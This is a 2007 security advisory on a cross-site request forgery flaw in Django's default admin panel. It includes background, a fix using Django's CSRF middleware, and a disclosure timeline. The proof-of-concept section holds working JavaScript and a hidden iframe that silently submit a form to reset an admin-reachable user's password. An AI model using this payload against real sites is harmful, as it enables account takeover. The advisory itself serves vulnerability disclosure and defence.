Author: J. Carlos Nieto.
Date: Oct 21, 2007

There exists a security hole in the default django's admin panel.

Background

Django is a high-level Python Web framework that encourages rapid
development and clean, pragmatic design.
Django has an automatic admin panel that allows a person with admin
privileges to modify the database tables, it allows to change any user
password too.
See more at http://www.djangoproject.com

Summary

django has, by default, no CSRF protection, this may allow an attacker
to change any user password by tricking a victim with admin privileges
into a special forged web page (even in a a totally different server)
that sends a request to change the password of the user with id = n. The
victim does not know that the form was sent. If the victim has admin
privileges the exploit will succeed, otherwise nothing will happen.

Severity

Mild. This problem exists only with the default installation and can be
easily solved using a middleware found in here:
http://www.djangoproject.com/documentation/csrf/.

Proof of concept

<script type="text/javascript">
window.onload = function() {
var url = "http://127.0.0.1:8000/admin/auth/user/1/password/&quot;;

var pass = "funky";

var param = {
    password1: pass,
    password2: pass
};

var form = document.createElement('form');
form.action = url;
form.method = 'post';
form.target = 'hidden';
form.style.display = 'none';

for (var i in param) {
    try {
        // ie
        var input = document.createElement('<input name="'+i+'">');
    } catch(e) {
        // other browsers
        var input = document.createElement('input');
        input.name = i;
    }
    input.setAttribute('value',  param[i]);
    form.appendChild(input);
}
document.body.appendChild(form);

form.submit();

}
</script>

<iframe name="hidden" style="display: none"></iframe>

Solution

Use the django's CSRF protection in all your applications. Take a look
at http://www.djangoproject.com/documentation/csrf/.

Disclosure Timeline

2007.10.18 - Vulnerability found
2007.10.18 - Vulnerability reported to vendor
2007.10.18 - Vendor response
2007.10.21 - Advisory release

License

Copyright 2007 J. Carlos Nieto

The contents of this document are licensed under the Creative Commons -
Attribution / Share Alike license.